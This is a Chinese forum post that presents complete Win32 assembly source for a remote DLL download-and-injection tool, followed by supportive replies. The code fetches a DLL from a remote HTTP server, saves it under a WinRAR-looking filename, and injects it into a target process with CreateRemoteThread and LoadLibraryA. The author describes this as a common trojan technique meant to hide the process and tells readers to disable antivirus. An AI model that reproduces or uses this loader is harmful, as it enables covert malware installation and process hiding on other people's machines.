Win32汇编实现——《DLL远程下载线程注入进程隐藏》
前记:之前发了个伪病毒的帖子,结果沉了...今天再发一个类似的,看能沉多快!DLL远程线程注入:
这个很多人应该都不陌生,一种木马惯用的手段......网上例子都是C++编写,对于不熟悉C++的朋友来说阅读起来有一定困难,故写此贴,希望能给那些学完汇编想从事安全的鱼油一个启示!
前期工作:
1.编写一个DLL文件,实现某种功能......语言不限,VC,win32汇编...都可以!
2.搭建一个简单的HTTP服务器,放置你的DLL文件,如:Hfshttp
3.关闭杀软,没有免杀,故!开搞...
实现功能:
很简单,程序首先从后台和HTTP服务器建立连接并下载HTTP服务器上指定的DLL文件,然后生成在本地某个文件夹内,再打开需要注入的进程,注入DLL文件!实现进程隐藏!
升级内容:
免杀方面,直接网络注入,实现本地无DLL文件!打乱PE代码注入等...请鱼油添加!
注:源码简洁,如有不妥之处,请回帖纠正!只用于学习....
PS一句,有北京的鱼油吗? 没事搞基......
再PS一句,甲鱼....
源码:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 《DLL远程下载线程注入——进程隐藏》
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 环境:win7,32位操作系统;使用 RadAsm顺利通过编译和链接
;>>>>>>>>>>>>>>>>>>>>>>>>>>>By——小生BBS.FISHC.COM>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>转帖请注明出处,谢谢>>>>>>>>>>
include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
include wininet.inc
includelib wininet.lib
.data
sz1 db 'Testing',0
sz2 db 'http://192.168.1.100/1.dll',0 ;远程文件路径
sz3 db'C:\Program Files\WinRAR\RarExk.dll',0 ;生成文件目录
mbdb 2560 dup(?) ;DLL文件大小,单位字节
hhdd ?
h2dd ?
h3dd ?
wCaption db '开始',0 ;开始按钮标题
KerDll db 'kernel32.dll',0
LoadLib db 'LoadLibraryA',0
.data?
Pid dd ?
hProcess dd ?
Pcode dd ?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>转帖请注明出处,谢谢>>>>>>>>>
.code
qq proc
invoke FindWindow,NULL,addr wCaption ;获取窗口句柄
invoke GetWindowThreadProcessId,eax,addr Pid;获取进程ID
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,Pid ;打开进程
mov hProcess,eax
invoke VirtualAllocEx,hProcess,NULL,sizeof sz3,MEM_COMMIT,\
PAGE_EXECUTE_READWRITE ;申请内存空间
mov Pcode,eax
invoke WriteProcessMemory,hProcess,Pcode,offset sz3,sizeof sz3,NULL;写内存
invoke LoadLibrary,addr KerDll;加载DLL
invoke GetProcAddress,eax,addr LoadLib;检索函数地址
invoke CreateRemoteThread,hProcess,NULL,NULL,eax,Pcode,NULL,NULL;创建进程
ret
qq endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>转帖请注明出处,谢谢>>>>>>>>>
ww proc
invoke InternetOpen,offset sz1,INTERNET_OPEN_TYPE_PRECONFIG,\
NULL,NULL,0 ;创建链接
invoke InternetOpenUrl,eax,offset sz2,NULL,0,INTERNET_FLAG_RELOAD,0 ;下载文件
mov h3,eax
invoke InternetReadFile,eax,offset mb,sizeof mb,offset hh ;读取数据
invoke CreateFile,offset sz3,GENERIC_WRITE,FILE_SHARE_WRITE,0,\
OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 ;创建文件
mov h2,eax
invoke WriteFile,eax,offset mb,sizeof mb,offset hh,0 ;写入文件
invoke CloseHandle,h2 ;关闭文件
call qq
ret
ww endp
start:
call ww
invoke ExitProcess,0
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>转帖请注明出处,谢谢>>>>>>>>>>
切勿浮沙筑高楼....
第一个,正在学习当中。 支持一下。。。。。。。。 顶。。。。顶。。。。顶。。。。顶 谢谢楼主,好好研究研究 小白顶起....... 顶一个。。。 n哪里都是你啊。。 的确不错 赞一个 学习了。。。。。 先顶顶,详详细细学习 upupupupupupup ok 看看咯领导发 支持楼主辛苦了 支持小生!吼吼~~~{:5_95:} 值得研究一下。 谢谢咯~~虽然现在看不懂~~~(坚持学编程) 新手,小鱼人··· 楼主是小生?!牛人! 完全不懂得